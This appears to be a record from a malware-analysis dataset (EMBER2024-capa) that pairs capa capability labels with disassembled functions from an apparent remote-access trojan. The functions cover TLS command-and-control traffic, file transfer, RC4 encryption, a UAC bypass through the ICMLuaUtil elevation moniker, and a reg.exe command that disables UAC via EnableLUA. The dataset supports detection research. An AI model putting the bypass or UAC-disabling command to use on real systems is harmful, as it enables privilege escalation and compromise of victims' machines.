joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401a4d
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x1c
push ebx
push ebp
push esi
movzx esi, word [0x470ab6]
mov ebx, edx
push edi
movzx edi, word [0x470aaa]
xor ebp, ebp
imul esi, edi
push ebp
push 0x80
push 2
push ebp
mov eax, esi
mov dword [esp + 0x2c], 1
imul eax, dword [0x470aac]
push ebp
push 0x40000000
push ecx
mov dword [esp + 0x34], 0x10
shr eax, 3
mov dword [esp + 0x3c], eax
mov eax, esi
cdq
and edx, 7
add eax, edx
sar eax, 3
mov dword [esp + 0x40], eax
mov eax, dword [ebx + 4]
imul eax, edi
mov dword [esp + 0x44], eax
add eax, 0x24
mov dword [esp + 0x30], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x401acd
xor al, al
jmp 0x401bc1
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [esp + 0x10]
push ebp
push eax
push 4
pop ebp
push ebp
push 0x463db0
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
lea eax, [esp + 0x20]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
push str.WAVE
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
push str.fmt
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
lea eax, [esp + 0x24]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push 2
lea eax, [esp + 0x28]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push 2
push 0x470aaa
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
push 0x470aac
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
lea eax, [esp + 0x2c]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push 2
lea eax, [esp + 0x30]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push 2
push 0x470ab6
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
push str.data
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
lea eax, [esp + 0x34]
push eax
push edi
call esi
push 0
lea ecx, [esp + 0x14]
push ecx
push dword [ebx + 4]
push dword [ebx]
push edi
call esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret
Function at 0x4048a8
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x470adc]
sub esp, 0x1c
push ebx
push edi
push dword [eax + 0x10]
mov edi, ecx
push dword [eax + 0x18]
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x4049fb
cmp byte [edi + 1], al
je 0x4049f7
cmp byte [edi + 0x31], al
je 0x404906
sub esp, 0x18
lea eax, [edi + 0x34]
mov ecx, esp
mov edx, str.TLS_Handshake...______
push eax
call fcn.004052fe
sub esp, 0x14
mov ecx, esp
push 0x463f74
call fcn.00402073
call fcn.00419c31
add esp, 0x30
call fcn.0041f0b9
mov dword [edi + 0x4c], eax
test eax, eax
jne 0x404921
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_1
jmp 0x404a5b
mov edx, dword [edi + 4]
mov ecx, eax
call fcn.0041f2e8
cmp eax, 1
je 0x404967
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_2
call fcn.00402073
sub esp, 0x18
mov ecx, esp
push 0x463ed8
call fcn.00402073
call fcn.00419c31
add esp, 0x30
mov ecx, dword [edi + 0x4c]
call fcn.0041f0f9
and dword [edi + 0x4c], 0
jmp 0x404a77
mov ecx, dword [edi + 0x4c]
call fcn.0041fe99
cmp eax, 1
je 0x4049a4
sub esp, 0x18
mov ecx, esp
push str.TLS_Authentication_Failed
call fcn.00402073
sub esp, 0x18
mov ecx, esp
push 0x463ed8
call fcn.00402073
call fcn.00419c31
mov ecx, dword [edi + 0x4c]
add esp, 0x30
call fcn.0041f50b
jmp 0x404956
mov ecx, dword [edi + 0x4c]
call fcn.0041f25f
mov dword [edi + 0x50], eax
test eax, eax
jne 0x4049d9
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_3
call fcn.00402073
sub esp, 0x18
mov ecx, esp
push 0x463ed8
call fcn.00402073
call fcn.00419c31
add esp, 0x30
xor ebx, ebx
push ebx
push 1
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push ebx
push 1
push ebx
push ebx
mov dword [edi + 0x70], eax
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [edi + 0x6c], eax
mov al, 1
jmp 0x404a79
cmp byte [edi + 0x31], 0
je 0x404a77
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, eax
sub ecx, 0x2736
je 0x404a77
sub ecx, 0x17
je 0x404a51
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.0041afcd
sub esp, 0x18
mov edx, str.Connection_Failed:
mov ecx, esp
push eax
call fcn.004052dd
sub esp, 0x14
mov ecx, esp
push 0x463ed8
call fcn.00402073
call fcn.00419c31
add esp, 0x30
lea ecx, [ebp - 0x1c]
call fcn.00401fb8
jmp 0x404a77
sub esp, 0x18
mov ecx, esp
push str.Connection_Refused
call fcn.00402073
sub esp, 0x18
mov ecx, esp
push 0x463ed8
call fcn.00402073
call fcn.00419c31
add esp, 0x30
xor al, al
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x404a81
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
mov edi, ecx
lea ecx, [ebp + 0xc]
call fcn.0040245c
push 4
pop esi
xor ebx, ebx
lea ecx, [ebp - 0x20]
push ebx
add eax, esi
push 0xc
mov dword [ebp - 8], eax
call fcn.004051ec
push esi
lea eax, [edi + 0x2c]
push eax
push ebx
lea ecx, [ebp - 0x20]
call fcn.004051c3
push eax
call fcn.00434da0
add esp, 0xc
lea eax, [ebp - 8]
lea ecx, [ebp - 0x20]
push esi
push eax
push esi
call fcn.004051c3
push eax
call fcn.00434da0
add esp, 0xc
lea eax, [ebp + 8]
lea ecx, [ebp - 0x20]
push esi
push eax
push 8
call fcn.004051c3
push eax
call fcn.00434da0
add esp, 0xc
lea eax, [ebp + 0xc]
lea ecx, [ebp - 0x20]
push eax
call fcn.00403356
cmp byte [edi + 1], bl
jne 0x404b20
push ebx
lea ecx, [ebp - 0x20]
call fcn.0040245c
push eax
lea ecx, [ebp - 0x20]
call fcn.00401f8b
push eax
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_send]
mov esi, eax
jmp 0x404b5b
or ebx, 0xffffffff
push ebx
push dword [edi + 0x70]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ecx
lea ecx, [ebp - 0x20]
call fcn.0040245c
push eax
lea ecx, [ebp - 0x20]
call fcn.00401f8b
mov ecx, dword [edi + 0x50]
mov edx, eax
call fcn.0041f493
pop ecx
mov esi, eax
pop ecx
push dword [edi + 0x70]
test esi, esi
cmove esi, ebx
call dword [sym.imp.KERNEL32.dll_SetEvent]
lea ecx, [ebp - 0x20]
call fcn.00401fb8
lea ecx, [ebp + 0xc]
call fcn.00401fb8
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x1c

Function at 0x404b76
Capabilities:
Receive data
Receive data on socket

Disassembly:
push esi
push edi
mov edi, ecx
cmp byte [edi + 1], 0
je 0x404bad
push 0xffffffffffffffff
push dword [edi + 0x6c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [esp + 0xc]
push ecx
push dword [esp + 0x14]
mov ecx, dword [edi + 0x4c]
call fcn.0041f4cf
pop ecx
pop ecx
push dword [edi + 0x6c]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov eax, esi
jmp 0x404bc0
push 0
push dword [esp + 0x14]
push dword [esp + 0x14]
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_recv]
pop edi
pop esi
ret 0xc

Function at 0x404bc5
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
mov dword [ecx + 8], eax
xor eax, eax
push eax
push eax
push ecx
push 0x404be1
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret 4
Function at 0x404ca3
Capabilities:
Create thread

Disassembly:
sub esp, 0x38
and dword [esp + 4], 0
push ebx
push ebp
push esi
mov esi, ecx
lea ecx, [esp + 0x14]
push edi
and dword [esi + 0x54], 0
call fcn.004020bf
mov bh, byte [esp + 0x54]
lea eax, [esi + 0x58]
mov edi, dword [esp + 0x4c]
push eax
lea eax, [esp + 0x18]
mov ecx, edi
push eax
call fcn.00401f8b
push eax
mov ecx, esi
call fcn.00404edb
test al, al
je 0x404df3
movzx ecx, byte [esi + 0x30]
mov ebp, dword [esp + 0x14]
mov dword [esp + 0x54], ecx
add ebp, ecx
mov ecx, edi
call fcn.0040245c
cmp ebp, eax
jbe 0x404d11
mov ecx, edi
mov bl, 1
call fcn.0040245c
mov ecx, ebp
sub ecx, eax
mov dword [esi + 0x54], ecx
jmp 0x404d13
xor bl, bl
test bl, bl
jne 0x404df3
push 0xffffffffffffffff
push dword [esp + 0x58]
lea eax, [esp + 0x38]
mov ecx, edi
push eax
call fcn.00404182
push eax
lea ecx, [esp + 0x1c]
call fcn.00401fc2
lea ecx, [esp + 0x30]
call fcn.00401fb8
push dword [esp + 0x14]
lea eax, [esp + 0x34]
push 0
push eax
lea ecx, [esp + 0x24]
call fcn.00404182
push eax
lea ecx, [esp + 0x1c]
call fcn.00401fc2
lea ecx, [esp + 0x30]
call fcn.00401fb8
lea eax, [esp + 0x18]
test bh, bh
jne 0x404d84
sub esp, 0x18
mov ecx, esp
push eax
call fcn.004020d6
push esi
call dword [esp + 0x6c]
add esp, 0x1c
jmp 0x404dc1
push eax
lea ecx, [esi + 0xc]
call fcn.00401fa0
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0x24], eax
xor eax, eax
push eax
push eax
push esi
push dword [esp + 0x5c]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xffffffffffffffff
push ebp
lea eax, [esp + 0x38]
mov ecx, edi
push eax
call fcn.00404182
push eax
mov ecx, edi
call fcn.00401fc2
lea ecx, [esp + 0x30]
call fcn.00401fb8
mov ecx, edi
call fcn.0040245c
test eax, eax
lea eax, [esi + 0x58]
jne 0x404cc9
lea ecx, [esp + 0x18]
call fcn.00401fb8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x38
ret 0xc

Function at 0x404f31
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
mov esi, ecx
push edi
cmp byte [esi + 0x5c], 0
jne 0x404fca
cmp byte [ebp + 0xc], 0
mov edi, dword [ebp + 8]
jne 0x404f54
mov byte [esi + 0x7c], 1
jmp 0x404fa0
cmp byte [0x470d48], 0
je 0x404fa0
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, edi
lea ecx, [ebp - 0x28]
call fcn.0041a278
sub esp, 0x18
mov edx, str.KeepAlive______________Enabled__Timeout:
mov ecx, esp
push eax
call fcn.004052dd
sub esp, 0x14
mov ecx, esp
push 0x463f74
call fcn.00402073
call fcn.00419c31
add esp, 0x30
lea ecx, [ebp - 0x28]
call fcn.00401fb8
mov dword [esi + 0x74], edi
xor edi, edi
push edi
push edi
push edi
push edi
mov byte [esi + 0x5c], 1
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push edi
push edi
push esi
push 0x405130
push edi
push edi
mov dword [esi + 0x60], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
jmp 0x404fcc
xor al, al
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x406341
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebx
push ebp
push esi
xor esi, esi
push edi
mov edi, ecx
mov eax, esi
movd xmm0, eax
pshufd xmm0, xmm0, 0
paddd xmm0, xmmword [0x46b1b0]
movups xmmword [edi + eax*4], xmm0
add eax, 4
cmp eax, 0x100
jl 0x40634b
mov ebp, dword [esp + 0x14]
mov ebx, esi
xor edx, edx
mov eax, ebx
div dword [esp + 0x18]
movzx eax, byte [edx + ebp]
add eax, dword [edi + ebx*4]
add esi, eax
and esi, 0x800000ff
jns 0x406391
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [edi + ebx*4]
mov eax, dword [edi + esi*4]
mov dword [edi + ebx*4], eax
inc ebx
movzx eax, cl
mov dword [edi + esi*4], eax
cmp ebx, 0x100
jl 0x406370
pop edi
pop esi
pop ebp
pop ebx
ret 8

Function at 0x4063b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x400
lea eax, [esp]
push ebx
push esi
push edi
push 0x400
push ecx
xor esi, esi
push eax
mov edi, esi
call fcn.00434da0
mov edx, dword [esp + 0x420]
add esp, 0xc
mov ebx, esi
add edx, 1
je 0x406440
push ebp
mov ebp, dword [esp + 0x414]
inc esi
and esi, 0x800000ff
jns 0x4063f6
dec esi
or esi, 0xffffff00
inc esi
mov eax, dword [esp + esi*4 + 0x10]
add edi, eax
and edi, 0x800000ff
jns 0x40640c
dec edi
or edi, 0xffffff00
inc edi
mov cl, al
mov eax, dword [esp + edi*4 + 0x10]
mov dword [esp + esi*4 + 0x10], eax
movzx eax, cl
mov dword [esp + edi*4 + 0x10], eax
mov ecx, dword [esp + esi*4 + 0x10]
add ecx, eax
and ecx, 0x800000ff
jns 0x406433
dec ecx
or ecx, 0xffffff00
inc ecx
mov al, byte [esp + ecx*4 + 0x10]
xor byte [ebx + ebp], al
inc ebx
cmp ebx, edx
jb 0x4063e5
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x400
ret 8

Function at 0x4068d4
Capabilities:
Terminate process

Disassembly:
xor eax, eax
inc eax
cmp dword [0x46f9d0], eax
jne 0x406cfe
ret
cmp dword [0x46f9d0], 1
jne 0x406d0b
xor eax, eax
inc eax
ret
push esi
push dword [0x470d44]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, 0x473218
mov edx, 0x464438
mov ecx, esi
call fcn.00406e2b
test al, al
je 0x406d38
mov ecx, esi
call fcn.00401ee4
mov ecx, eax
jmp 0x406d3d
mov ecx, 0x470b38
call fcn.00406ce1
pop esi
test eax, eax
jne 0x406d4e
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x473260
call fcn.00401f8b
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 2
mov dword [0x470d44], eax
pop eax
ret
Function at 0x4068e4
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, 0x464150
push edi
push str.RtlInitUnicodeString
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [0x470afc], eax
test eax, eax
jne 0x406910
xor eax, eax
jmp 0x406979
push str.NtAllocateVirtualMemory
push ebx
call esi
push eax
call edi
mov dword [0x470b00], eax
test eax, eax
je 0x40690c
push str.NtFreeVirtualMemory
push ebx
call esi
push eax
call edi
mov dword [0x470b0c], eax
test eax, eax
je 0x40690c
push str.RtlAcquirePebLock
push ebx
call esi
push eax
call edi
mov dword [0x470b04], eax
test eax, eax
je 0x40690c
push str.RtlReleasePebLock
push ebx
call esi
push eax
call edi
mov dword [0x470b10], eax
test eax, eax
je 0x40690c
push str.LdrEnumerateLoadedModules
push ebx
call esi
push eax
call edi
xor ecx, ecx
mov dword [0x470af8], eax
test eax, eax
setne cl
mov eax, ecx
pop edi
pop esi
pop ebx
ret

Function at 0x406b71
Capabilities:
Bypass uac via icmluautil

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
push esi
push edi
push str.___ucmAllocateElevatedObject_n
call fcn.00406874
and dword [ebp - 4], 0
mov edi, str.3E5FC7F9_9A51_4367_9063_A120244FBEC7
push edi
mov esi, 0x80004005
call fcn.00439f4b
pop ecx
pop ecx
cmp eax, 0x40
ja 0x406c14
lea ecx, [ebp - 0x28]
call fcn.00406804
lea eax, [ebp - 0x230]
mov dword [ebp - 0x28], 0x24
push str.Elevation:Administrator_new:
push eax
mov dword [ebp - 0x14], 4
call fcn.0043dc64
lea eax, [ebp - 0x230]
push edi
push eax
call fcn.0043dc86
push str.___CoGetObject_n
call fcn.00406874
add esp, 0x14
lea eax, [ebp - 4]
push eax
push 0x4644e8
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.ole32.dll_CoGetObject]
mov esi, eax
test esi, esi
je 0x406c09
push str.____CoGetObject_FAILURE_n
jmp 0x406c0e
push str.___CoGetObject_SUCCESS_n
call fcn.00406874
pop ecx
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
pop edi
mov dword [ecx], eax
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x406dc9
Capabilities:
Create process on windows
Disable system features via registry on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push esi
push edi
push 0x44
pop esi
push esi
xor edi, edi
lea eax, [ebp - 0x58]
push edi
push eax
call fcn.00435320
push 0x10
lea eax, [ebp - 0x10]
mov dword [ebp - 0x58], esi
push edi
push eax
call fcn.00435320
add esp, 0x18
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x58]
push eax
push edi
push edi
push 0x8000000
push edi
push edi
push edi
push str._k__windir_System32_reg.exe_ADD_HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem__v_EnableLUA__t_REG_DWORD__d_0__f
push str.C:WindowsSystem32cmd.exe
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x406eb0
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x2a0
lea eax, [esp + 0x4c]
lea ecx, [esp + 0x2a4]
push ebx
push ebp
push esi
push eax
call fcn.00401ee4
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x406efa
sub esp, 0x18
lea edx, [esp + 0x2c8]
mov ecx, esp
call fcn.0041a3ec
push 0x54
mov ecx, 0x472fb8
call fcn.00404a81
jmp 0x406fc1
lea ecx, [esp + 0x10]
call fcn.004020bf
lea eax, [esp + 0x84]
push eax
lea ecx, [esp + 0x2c]
call fcn.0040415e
mov edx, 0x4644f8
mov ecx, eax
call fcn.00406e2b
lea ecx, [esp + 0x28]
mov bl, al
call fcn.00401ee9
mov ebp, 0x250
test bl, bl
je 0x406f8d
push ebp
lea eax, [esp + 0x5c]
push eax
lea ecx, [esp + 0x30]
call fcn.00402097
push eax
lea ecx, [esp + 0x14]
call fcn.00401fc2
lea ecx, [esp + 0x28]
jmp 0x406f88
push ebp
lea eax, [esp + 0x5c]
push eax
lea ecx, [esp + 0x48]
call fcn.00402097
push eax
lea edx, [esp + 0x14]
lea ecx, [esp + 0x2c]
call fcn.004087cf
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.00401fc2
lea ecx, [esp + 0x28]
call fcn.00401fb8
lea ecx, [esp + 0x40]
call fcn.00401fb8
lea eax, [esp + 0x58]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x406f53
sub esp, 0x18
lea eax, [esp + 0x28]
mov ecx, esp
push eax
call fcn.004020d6
push 0x50
mov ecx, 0x472fb8
call fcn.00404a81
lea ecx, [esp + 0x10]
call fcn.00401fb8
lea ecx, [esp + 0x2b0]
call fcn.00401ee9
pop esi
pop ebp
pop ebx
add esp, 0x2a0
ret
Function at 0x406fd7
Capabilities:
Delete file
Move file
Write file on windows

Disassembly:
mov eax, 0x186e4
call fcn.00455b00
push ebx
push ebp
push esi
mov esi, ecx
lea edx, [esp + 0x186fc]
push edi
xorps xmm0, xmm0
mov dword [esp + 0x18], esi
xor ebx, ebx
movlpd qword [esp + 0x10], xmm0
push 0x4644fc
lea ecx, [esp + 0x3c]
mov dword [esp + 0x20], ebx
call fcn.004087f0
pop ecx
push eax
lea ecx, [esp + 0x24]
call fcn.00403242
lea ecx, [esp + 0x38]
call fcn.00401ee9
push ebx
push 0x80
push 2
push ebx
push ebx
push 4
lea ecx, [esp + 0x38]
call fcn.00401ee4
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebp, eax
mov eax, dword [esp + 0x186fc]
cmp dword [esp + 0x14], eax
ja 0x4070c0
mov edi, dword [esp + 0x186f8]
jae 0x4070ba
push ecx
push 0x186a0
lea eax, [esp + 0x58]
mov ecx, esi
push eax
call fcn.00404b76
mov esi, eax
cdq
add dword [esp + 0x10], eax
lea eax, [esp + 0x1c]
push ebx
adc dword [esp + 0x18], edx
push eax
push esi
lea eax, [esp + 0x5c]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esp, 0x18
lea eax, [esp + 0x28]
mov ecx, esp
push 8
push eax
call fcn.00402097
mov ecx, dword [esp + 0x30]
push 0x57
call fcn.00404a81
test esi, esi
jle 0x407108
mov eax, dword [esp + 0x186fc]
mov esi, dword [esp + 0x18]
cmp dword [esp + 0x14], eax
jb 0x407057
ja 0x4070c0
cmp dword [esp + 0x10], edi
jb 0x407057
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x18700]
call fcn.00401ee4
push eax
lea ecx, [esp + 0x24]
call fcn.00401ee4
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov bl, 1
lea ecx, [esp + 0x20]
call fcn.00401ee9
lea ecx, [esp + 0x18700]
call fcn.00401ee9
pop edi
pop esi
pop ebp
mov al, bl
pop ebx
add esp, 0x186e4
ret
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x20]
call fcn.00401ee4
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x4070e6

Function at 0x407121
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push esi
push edi
mov esi, ecx
call fcn.004020bf
lea ecx, [ebp + 8]
call fcn.00401f8b
mov edi, eax
jmp 0x4071a8
push 0xa
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
push eax
call fcn.004402e1
add esp, 0xc
lea eax, [ebp - 4]
lea ecx, [ebp - 0x4c]
push 0x2d
push eax
call fcn.00402073
mov ecx, eax
call fcn.00401f8b
push eax
mov edx, esi
lea ecx, [ebp - 0x34]
call fcn.00406292
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.00408853
pop ecx
push eax
mov ecx, esi
call fcn.00401fc2
lea ecx, [ebp - 0x1c]
call fcn.00401fb8
lea ecx, [ebp - 0x34]
call fcn.00401fb8
lea ecx, [ebp - 0x4c]
call fcn.00401fb8
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc edi
add edi, eax
cmp byte [edi], 0
jne 0x40713c
lea ecx, [ebp + 8]
call fcn.00401fb8
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40959d
Capabilities:
Get keyboard layout

Disassembly:
sub esp, 0x11c
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x130]
add ecx, 0x90
push eax
call fcn.00401fa0
xor eax, eax
mov byte [esp + 0x14], al
mov dword [esp + 0x15], eax
mov dword [esp + 0x19], eax
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardLayoutNameA]
mov ebp, 0x4730e8
mov ecx, ebp
call fcn.0040480d
push ecx
mov ecx, ebp
call fcn.004048a8
mov edi, 0x473290
push 0x12
mov ecx, edi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push 0x2a
mov ecx, edi
mov esi, eax
call fcn.00401e45
sub esp, 0x18
mov ebx, 0x472ec0
mov edi, esp
mov ecx, 0x473098
push eax
push ebx
lea eax, [esp + 0x150]
push eax
push ebx
call fcn.00401ee4
mov ecx, eax
call fcn.0041aa01
mov edx, eax
lea ecx, [esp + 0x138]
call fcn.0041a278
mov edx, dword [0x4730e0]
lea ecx, [esp + 0x120]
push eax
push ebx
call fcn.0041a278
push eax
movzx eax, byte [esi]
lea edx, [esp + 0x48]
push ebx
push eax
push ebx
lea ecx, [esp + 0x120]
call fcn.004052fe
pop ecx
mov edx, eax
lea ecx, [esp + 0x104]
call fcn.00408853
pop ecx
mov edx, eax
lea ecx, [esp + 0xe8]
call fcn.00402ef0
pop ecx
mov edx, eax
lea ecx, [esp + 0xcc]
call fcn.00402e81
pop ecx
mov edx, eax
lea ecx, [esp + 0xb0]
call fcn.00402ef0
pop ecx
mov edx, eax
lea ecx, [esp + 0x94]
call fcn.00402e81
pop ecx
mov edx, eax
lea ecx, [esp + 0x78]
call fcn.00402ef0
pop ecx
mov edx, eax
lea ecx, [esp + 0x5c]
call fcn.00402ef0
pop ecx
mov edx, eax
lea ecx, [esp + 0x40]
call fcn.00402ef0
pop ecx
mov edx, eax
mov ecx, edi
call fcn.00402ef0
pop ecx
push 0x12
mov ecx, ebp
call fcn.00404a81
lea ecx, [esp + 0x20]
mov esi, eax
call fcn.00401fb8
lea ecx, [esp + 0x38]
call fcn.00401fb8
lea ecx, [esp + 0x50]
call fcn.00401fb8
lea ecx, [esp + 0x68]
call fcn.00401fb8
lea ecx, [esp + 0x80]
call fcn.00401fb8
lea ecx, [esp + 0x98]
call fcn.00401fb8
lea ecx, [esp + 0xb0]
call fcn.00401fb8
lea ecx, [esp + 0xc8]
call fcn.00401fb8
lea ecx, [esp + 0xe0]
call fcn.00401fb8
lea ecx, [esp + 0xf8]
call fcn.00401fb8
lea ecx, [esp + 0x110]
call fcn.00401fb8
lea ecx, [esp + 0x130]
call fcn.00401fb8
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x11c
ret 0x18